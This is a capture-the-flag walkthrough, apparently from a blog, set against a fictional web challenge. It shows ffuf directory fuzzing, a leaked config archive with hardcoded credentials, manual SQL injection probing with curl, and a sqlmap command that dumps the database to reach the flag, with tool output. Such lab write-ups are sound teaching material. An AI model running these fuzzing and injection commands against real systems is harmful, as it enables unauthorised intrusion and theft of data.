At DEF CON CTF 2025, dozens of teams burned hours on a web challenge that folded in under ten minutes once they applied a disciplined recon-first methodology. The challenge looked like a simple login portal — it wasn’t. This walkthrough uses a fictional but representative challenge to show you the exact process: enumerate, probe, exploit, capture the flag.
Step 1: Enumerate Everything Before You Touch the Login
The target is http://ctf-web.hackerxone.local hosted at 192.0.2.47. Most players skip straight to the login form. Don’t. Run directory and file brute-forcing first using ffuf — a fast web fuzzer that replaces the FUZZ keyword in a URL with wordlist entries.
ffuf -u http://192.0.2.47/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 \
-t 40 \
-o recon/ffuf_initial.json
________________________________________________
:: Method : GET
:: URL : http://192.0.2.47/FUZZ
:: Wordlist : /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,301,302,403
________________________________________________
admin [Status: 301, Size: 178, Words: 6]
backup [Status: 200, Size: 4310, Words: 312]
index.php [Status: 200, Size: 2041, Words: 189]
robots.txt [Status: 200, Size: 64, Words: 8]
.htaccess [Status: 403, Size: 277, Words: 20]
Three things stand out immediately. /backup returning a 200 is unusual — production apps rarely expose that path. /admin redirecting to somewhere is worth following. And robots.txt often contains disallowed paths that challenge authors accidentally left as breadcrumbs.
curl -s http://192.0.2.47/robots.txt
User-agent: *
Disallow: /config_backup.zip
Download that zip immediately. Inside you find db_config.php with hardcoded credentials — username ctfadmin, password Tr0phy$2026 — and the database name ctf_challenge_db. The challenge author left a source-code leak as the intended first step. Now you know the app uses MySQL and you have creds. The login form is next.
Step 2: Probe the Login Form — Manual Before Automated
Fire up Burp Suite — an intercepting proxy that lets you inspect and modify HTTP requests in real time — and log in with the leaked credentials. It works. But the flag isn’t on the dashboard. The page shows a user profile for ctfadmin with a parameter in the URL: http://192.0.2.47/profile.php?user_id=1.
That integer parameter screams SQL injection. Test manually before running sqlmap. A single quote tells you a lot faster than any tool whether the input is sanitized.
curl -s -b "PHPSESSID=ab3f92xk10qlzmn77" \
"http://192.0.2.47/profile.php?user_id=1'" \
| grep -i "error\|sql\|syntax"
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near '\'' at line 1
Raw SQL error. No WAF, no sanitization. The app is concatenating user_id directly into a query string. That error message also leaks that this is MySQL — matching what you found in db_config.php. Now automate extraction with sqlmap — a tool that fingerprints and exploits SQL injection automatically.
sqlmap -u "http://192.0.2.47/profile.php?user_id=1" \
--cookie="PHPSESSID=ab3f92xk10qlzmn77" \
--dbms=mysql \
--dump \
--tables \
-D ctf_challenge_db \
--batch
[INFO] fetching tables for database: 'ctf_challenge_db'
Database: ctf_challenge_db
[3 tables]
+----------+
| users |
| sessions |
| flags |
+----------+
[INFO] fetching columns for table 'flags'
[INFO] fetching entries for table 'flags'
+----+------------------------------------------+
| id | flag_value |
+----+------------------------------------------+
| 1 | CTF{s0urc3_l34k_plus_sqli_4_th3_w1n} |
+----+------------------------------------------+
The flags table was the payload all along. sqlmap enumerated the database schema, found the table, and dumped the flag in one pass. Total time from initial ffuf run to flag: about eight minutes. The methodology — recon, source analysis, manual probe, targeted automation — is what kept this linear instead of chaotic.
The Methodology in One Paragraph
Every web CTF challenge follows a similar attack surface: exposed files, authentication bypasses, injection points, and logic flaws. Work left to right. Enumerate paths and parameters before touching inputs. Read every file you find before writing a single exploit. Confirm injection manually with a single quote or a sleep payload before running automation. Tools amplify good technique — they don’t replace it.
When sqlmap or ffuf returns noise, you need to understand the output well enough to filter signal. The teams that struggle in CTFs are running tools without reading results. The teams that win read results before running the next tool.
What To Do Now
Spin up a free account on Hack The Box and attempt the retired web challenge Phonebook right now. It involves LDAP injection — a different flavor than SQLi, but the methodology is identical: enumerate endpoints with ffuf, probe inputs manually, then automate extraction. Time yourself. If you apply the recon-first workflow from this post, you should have a flag in under 20 minutes.
